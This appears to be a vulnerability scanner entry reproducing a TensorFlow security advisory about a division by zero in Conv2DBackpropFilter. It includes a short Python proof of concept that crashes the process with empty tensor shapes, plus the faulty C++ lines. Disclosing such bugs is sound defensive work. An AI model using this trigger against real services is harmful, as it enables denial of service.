QID 982510

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:

```python
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 1, 1, 1],
use_cudnn_on_gpu=False,
padding='SAME',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):

```cc
const size_t size_A = output_image_size * filter_total_size;
const size_t size_B = output_image_size * dims.out_depth;
const size_t size_C = filter_total_size * dims.out_depth;
const size_t work_unit_size = size_A + size_B + size_C;
const size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;
```

If all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service.